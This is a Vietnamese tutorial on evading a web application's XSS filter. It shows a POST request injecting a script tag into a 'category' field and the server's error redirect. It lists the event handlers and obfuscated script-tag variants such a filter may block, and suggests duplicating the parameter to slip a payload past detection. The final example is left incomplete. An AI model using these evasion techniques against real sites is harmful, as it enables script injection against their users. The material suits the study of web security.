Như chúng ta điều đã biết muốn khai thác được lỗi XSS thì bằng mọi cách chúng ta phải chèn được những ký tự đặc biệt như <, >, “,;, etc…. Nhưng đôi khi việc này không hề dễ dàng khi ứng dụng web có khả năng nhận diện và loại bỏ những ký tự này. Chúng ta hãy xem xét việc này thông qua ví dụ sau: biến category
nhận giá trị truyền vào qua phương thức POST và giá trị này sẽ được in ra ở trên trình duyệt web. Woa! Ta nghĩ ngay ra cách khai thác bằng việc truyền vào giá trị như :<script>alert(1)</script> . Có thể dùng live header để làm điều này:
POST /search.htm HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:20.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 109
category = <script>alert(1)</script>
category
bất kỳ khi nào biến này nhân được giá trị là thẻ dạng HTML ngay lập tức website sẽ chuyển hướng tới trang thông báo lỗi
HTTP/1.1 302 Moved Temporarily
Date: Tue, 03 Sep 2013 02:12:58 GMT
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.3.0.GA/Tomcat-5.5
Content-Length: 0
Location:
Connection: keep-alive
Content-Type: text/html; charset=UTF-8
Trên thực tế hệ thống phát hiện XSS còn có thể lọc nhiều hơn giá trị của biến:
"onclick
"ondblclick
"onmousedown
"onmousemove
"onmouseover
"onmouseout
"onmouseup
"onkeydown
"onkeypress
"onkeyup
"onabort
"onerror
"onload
"onresize
"onscroll
"onunload
"onsubmit
"onblur
"onchange
"onfocus
"onreset
"onselect
“><ScRiPt>
“><SCRIPT>
“><script//
“><script/**/
“><script+
“><script%20
“><script
“><%73%63%72%69%70%74>
“><<script>>
“><s/**/c/**/r/**/i/**/p/**/t>
“><s//c//r//i//p//t>
“><s+c+r+i+p+t>
“><s%20c%20r%20i%20p%20t>
“><%26%23x73%26%23x63%26%23x72%26%23x69%26%23x70%26%23x74>
<object
<div
<img
<a
category
giống nhau vào bên trong request
search.htm?category=&category=”>
Hệ thống phát hiện XSS của webite sẽ khó phát hiện ra được mã khai thác chèn vào biến category